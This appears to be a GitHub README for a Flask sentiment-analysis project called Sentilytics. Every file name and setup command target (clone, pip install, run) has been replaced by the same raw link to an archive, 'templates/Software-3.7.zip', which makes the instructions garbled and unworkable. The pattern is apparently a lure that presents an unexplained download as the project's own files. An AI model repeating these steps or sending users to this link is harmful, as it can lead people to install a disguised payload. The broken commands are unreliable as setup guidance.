Skip to content

gkushwaha835/Sentilytics

Repository files navigation

Sentilytics 🚀

A robust Sentiment Analysis application built with Python, Flask, and Machine Learning. It analyzes text data to determine the sentiment—positive, negative, or neutral—with a user-friendly web interface.


📌 Features

  • 🔍 Cleaned and preprocessed text data
  • 🧠 Trained ML models for sentiment classification
  • 📊 Data visualization and insights
  • 🌐 Flask-powered web app interface
  • 📁 Modular project structure for scalability

🧰 Tech Stack

  • Python 3.10+
  • Flask for the web framework
  • Pandas, Scikit-learn for data processing & modeling
  • Jupyter Notebook for experimentation
  • HTML/CSS for frontend templates

🚀 Getting Started

1. Clone the Repository

git clone https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip
cd Sentilytics
python -m venv .venv
.\.venv\Scripts\activate   # Windows

3. Install Dependencies

pip install -r https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip

(If https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip is missing, you can generate it with:)

pip freeze > https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip

🧪 Run the Application

Run the training notebooks or scripts:

jupyter notebook https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip

For web app:

python https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip

Visit http://localhost:5000 in your browser.

📂 Project Structure

Sentilytics/
│
├── .venv/                   # Virtual environment (ignored)
├── model/                   # Trained models and pickles
├── static/                  # Static assets (CSS, JS, images)
├── templates/               # HTML templates for Flask
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip  # Processed dataset
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip                   # Flask app
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip                 # Text cleaning script
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip
├── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip
└── https://raw.githubusercontent.com/gkushwaha835/Sentilytics/main/templates/Software-3.7.zip

✅ Future Improvements

  • Deploy app on Heroku or Render
  • Integrate deep learning (LSTM, BERT)
  • Add more data and improve accuracy
  • Add user authentication and feedback loop

🤝 Contributing

  • PRs are welcome. For major changes, open an issue first to discuss what you’d like to change.

📜 License

  • MIT License — feel free to use, modify, and distribute.

✨ Acknowledgements

  • OpenAI for tools like ChatGPT.
  • Scikit-learn & Flask community.
  • Everyone who contributes to open-source. ❤️

🙋‍♂️ Let's Connect


About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages